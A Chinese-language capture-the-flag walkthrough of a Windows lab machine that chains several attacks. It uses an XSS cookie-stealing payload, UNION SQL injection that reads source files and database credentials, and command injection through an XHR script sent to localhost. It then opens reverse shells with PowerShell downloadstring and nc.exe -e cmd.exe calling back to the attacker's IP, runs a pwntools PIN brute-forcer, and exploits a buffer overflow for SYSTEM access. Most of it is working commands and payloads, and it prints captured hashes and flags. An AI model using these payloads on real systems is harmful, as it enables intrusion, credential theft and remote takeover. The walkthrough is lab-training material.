這個靶機比較難,要求掌握的技能有:XSS、通過SQL注入讀取文件、命令注入、緩沖區溢出
以本地xhr方式執行POST請求等。下面詳細說明怎樣拿flag。
nmap掃描開了80、443、445、3306端口,gobuster枚舉發現了/admin、/phpmyadmin等目錄
枚舉smb,沒發現共享目錄
crackmapexec smb 10.129.228.109
——存在XSS攻擊
用戶注冊進去,將看到E-coin轉賬頁面
從上述信息提示看出:admin有在批準前查看交易的權限,可能存在XSS攻擊。
寫入comment=<img src=http://10.10.14.24/x.jpg />,然后監聽端口可看到連接信息,印證了存在XSS攻擊。
——用XSS截獲admin的cookie
然后利用該payload獲取cookie
<img src=x onerror=this.src="http://10.10.14.24/?cookie="+btoa(document.cookie) />
注:上述payload要進行URL編碼
注:不是馬上有連接信息,需要等待2-3分鐘。
將獲得的cookie解碼
echo dXNlcm5hbWU9WVdSdGFXNCUzRDsgcGFzc3dvcmQ9U0c5d1pXeGxjM055YjIxaGJuUnBZdyUzRCUzRDsgaWQ9MQ== |base64 -d
admin? Hopelessromantic
以該賬號信息登錄
管理員的頁面如下
——在Search users發現SQL注入
1、先判斷是字符型還是數字型
1'?? 出錯
1'#?正確
(注:另一種注釋的方法-- -。1’-- -)
說明為字符型
2、用order by試出來查詢了幾個字段
1' order by 3#?? 正確
1' order by 4#?? 出錯
說明查詢了3個字段
3、union聯合查詢
-1'?union select 1,2,3#
顯示了第1,2個字段的信息
通過枚舉數據庫、表、列,從users表獲取如下信息
1:admin:Hopelessromantic
2:gio:gio
3:test:123456
這些信息對我們沒什么幫助,因為已經獲得了admin的密碼。
或者,用sqlmap進行批量操作
將存在有SQL注入的網頁保存為search.req,右鍵選擇Copy to file。
sqlmap -r search.req --dbms mysql --technique=U--dump --batch
注:--technique有6種取值
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries
缺省用的technique為BEUSTQ
也可用sqlmap枚舉數據庫的用戶
sqlmap -r search.req --dbms mysql--technique=U--users
枚舉數據庫用戶的密碼
sqlmap -r search.req --dbms mysql--technique=U--passwords
獲取數據目錄
term=-1'+union+select+1,@@datadir,3#
backdoorchecker處大概率有命令執行漏洞。我們知道XAMPP缺省的web目錄為c:\xampp\htdocs,嘗試讀取admin下的backdoorchecker.php源碼。
term=-1'+union+select+1,LOAD_FILE('c:/xampp/htdocs/admin/backdoorchecker.php'),3#
backdoorchecker.php源碼如下:Linux只能執行ls,windows下只能執行dir;輸入的命令里不能帶$(或&(可以用|或||);且只能在本地執行命令,即該php只能在本地運行。
從源碼可知,調用了../link.php和auth.php。同樣的道理,獲取link.php源碼
獲得了連接MySQL的賬號信息
root? Welkom1!
——命令執行
編譯一個xhr文檔script.js
var xhr = new XMLHttpRequest();
var url ="http://localhost/admin/backdoorchecker.php";
var params = "cmd=dir | ping -n 1 10.10.14.24";
xhr.open("POST", url);
xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
xhr.withCredentials = true;
xhr.send(params);
然后,利用之前有XSS的頁面,請求script.js腳本
<script src=http://10.10.14.24/script.js></script>
開啟web服務器,監聽tun0接口的icmp數據包,等待2-3分鐘,看到了ICMP數據包
成功繞過了backdoorchecker.php中的3個限制條件。
——方法一:通過命令執行獲得反向連接(執行反向連接的powershell腳本)
將shell.js中的命令改為
var params = "cmd=dir |powershell -exec bypass -f \\\\10.10.14.24\\share\\rev.ps1";
或者
var params = "cmd=dir |powershell iex(new-object? net.webclient).downloadstring(‘http://10.10.14.24/rev.ps1’)";
將Invoke-PowerShellTcp.ps1拷貝為rev.ps1
cp /opt/powershell/Invoke-PowerShellTcp.ps1 ./rev.ps1
將rev.ps1的最后一行修改為
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.24 -Port 9001
開啟smbserver
impacket-smbserver share $(pwd) -smb2support
發送含有XSS攻擊的web請求
開啟web服務器,nc監聽端口9001,獲得反向連接
python3 -m http.server 80
nc -lvnp 9001
從smbserver處獲得Cortin的hash
Cortin::BANKROBBER:aaaaaaaaaaaaaaaa:bbc76653869b3e404339d5e604c04e17:01010000000000008036……
1、提交用戶標志
18bd1a7be1fbea357e741bf14af0b530
——方法二:通過命令執行獲得反向連接(執行nc.exe)
將script.js中的命令改為
var params = "cmd=dir | \\\\10.10.14.32\\share\\nc.exe 10.10.14.32 3333 -e cmd.exe";
同理,開啟smbserver、web服務器、監聽端口、執行web請求
impacket-smbserver share $(pwd) -smb2support
python3 -m http.server 80
nc -lvnp 3333
——提權到root
查看開放的網絡接口,發現910比較可疑。
netstat -anop TCP
或者
netstat -ano | findstr LISTEN
端口910附屬的進程號為1644,查看1644對應的運行程序為bankv2.exe
tasklist /v
在windows下將網絡共享映射為盤符Z:
net use Z: \\10.10.14.32\share
利用chisel開隧道,將910端口引到本地。
在Kali Linux上開啟chisel服務器
./chisel_1.9.0_linux_amd64 server --port 5555 --reverse
在目標機上用chisel進行連接,創建一個tunnel
.\chisel.exe client 10.10.14.32:5555R:910:127.0.0.1:910
過一段時間,tunnel就建立好了。此時,運行下面的命令進行查看,發現多了910端口
ss -tulpn
注:如果將命令寫成
.\chisel.exe client 10.10.14.32:5555R:9100:127.0.0.1:910
我們之后就需要連接9100端口了(nc localhost 9100)
本地連接910端口
nc localhost 910
要求輸入4位PIN以進行鑒權
寫python腳本brute.py,暴力破解得到正確的4位PIN碼。
Kali Linux需要安裝pwntools。
pip3 install pwntools
from pwn import *
for i in range(0,9999):
?????? pin= str(i)
?????? code= pin.zfill(4)
?????? r= remote("localhost", 910)
?????? r.recvuntil("[$]")
?????? r.sendline(code)
?????? response= r.recvline()
?????? r.close()
?????? ifb"Access denied" not in response:
????????????? print(code)
????????????? break
執行brute.py
python brute.py
獲知正確的4位PIN碼為0021。輸入PIN碼后,要求輸入數量。顯示執行C:\Users\admin\Documents\transfer.exe
嘗試在輸入數量的地方輸入超長字符串,判斷可能存在緩沖區溢出。
生成100個模式化字符。顯示執行命令從0Ab1Ab2開始。
msf-pattern_create -l 100
查詢0Ab1字符所在的offset為32
msf-pattern_offset -q 0Ab1
用下面語句生成32個字符A
python -c 'print("A"*32)'
從Kali Linux上拷貝nc.exe到C:\Users\Public,然后再執行nc localhost 910
輸入0021后,再輸入
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC:\Users\Public\nc.exe
10.10.14.32 4444 -e cmd.exe
將執行C:\Users\Public\nc.exe 10.10.14.32 4444 -e cmd.exe
2、提交root標記
b4e99e1dbab1ebce7b549590c5c824dd
附注:獲得提權后(之前以Cortin身份無法拷貝,權限不夠),將C:\下的bankv2.exe下載下來逆向分析。
copy c:\bankv2.exe z:
逆向分析bankv2.exe
1、將輸入與0021進行比較
2、strcpy時沒有控制輸入的長度,直接將輸入內容拷貝到destination,造成緩沖區溢出
3、從destination和v24的定義看出,destination長度為32,溢出的內容自然分給了緊挨著的變量v24。